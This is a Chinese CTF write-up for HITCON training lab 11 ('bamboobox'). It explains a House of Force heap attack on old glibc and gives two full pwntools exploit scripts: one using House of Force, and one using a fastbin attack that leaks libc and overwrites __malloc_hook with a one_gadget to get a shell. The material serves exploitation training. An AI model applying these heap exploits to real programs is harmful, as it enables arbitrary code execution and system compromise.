例题:
HITCON training lab 11:
2.29之前版本利用
修改top_chunk size为-1
无符号溢出为极大值绕过验证
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
接下来测算偏移:
offset = chunk_addr - top_chunk_addr -0x20
分配堆块add(offset,'')
后可实现chunk_addr
处写
此时再次add
即可改写当前地址内容
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=remote("node4.buuoj.cn",27856)
io=process("./bamboobox")
elf=ELF("./bamboobox")
libc=ELF("libc-2.23.so")
def show():
io.sendlineafter(b"choice:",b"1")
def add(n,cc):
io.sendlineafter(b"choice:",b"2")
io.sendlineafter(b"name:",str(n))
io.sendafter(b"item:",cc)
def edit(n,s,cc):
io.sendlineafter(b"choice:",b"3")
io.sendlineafter(b"item:",str(n))
io.sendlineafter(b"name:",str(s))
io.sendafter(b"item:",cc)
def delete(n):
io.sendlineafter(b"choice:",str(n))
def getshell():
io.sendlineafter(b"choice:",b"5")
gdb.attach(io)
pause()
add(0x18,b"aaa") #0
add(0x40,b"bbb") #1
edit(1,0x58,cyclic(0x40)+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
offset=-0x98
magic=0x400d49
add(offset,b"") #2
add(0x18,p64(magic)*2)
getshell()
io.interactive()
也可以fastbin attack:
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=remote("node4.buuoj.cn",26837)
io=process("./bamboobox")
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23.so")
def show():
io.sendlineafter(b"choice:",b"1")
def add(s,cc):
io.sendlineafter(b"choice:",b"2")
io.sendlineafter(b"name:",str(s))
io.sendafter(b"item:",cc)
def edit(n,s,cc):
io.sendlineafter(b"choice:",b"3")
io.sendlineafter(b"item:",str(n))
io.sendlineafter(b"name:",str(s))
io.sendafter(b"item:",cc)
def delete(n):
io.sendlineafter(b"choice:",b"4")
io.sendafter(b"item:",str(n))
# gdb.attach(io)
# pause()
add(0x18,b"e") #0
add(0x18,b"a") #1
add(0x90,b"c") #2
add(0x10,b"d") #3
edit(0,0x20,cyclic(0x10)+p64(0)+p64(0xc1))
delete(1)
add(0x10,b"aaaaaaaa")
show()
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x68-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897]
shell=leak_addr+one_gadget[1]
sys_addr=leak_addr+libc.sym[b"system"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
realloc=leak_addr+libc.sym[b"__libc_realloc"]
add(0x60,b"/bin/sh")
add(0x20,b"/bin/sh")
delete(2)
payload=cyclic(0x18)+p64(0x21)+cyclic(0x18)+p64(0x71)+p64(malloc_hook-0x23)
edit(0,len(payload),payload)
add(0x60,b"aaa")
add(0x60,cyclic(0xb)+p64(shell)+p64(realloc))
io.sendlineafter(b"choice:",b"2")
io.sendlineafter(b"name:",b"1")
io.interactive()
# 0x45206 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL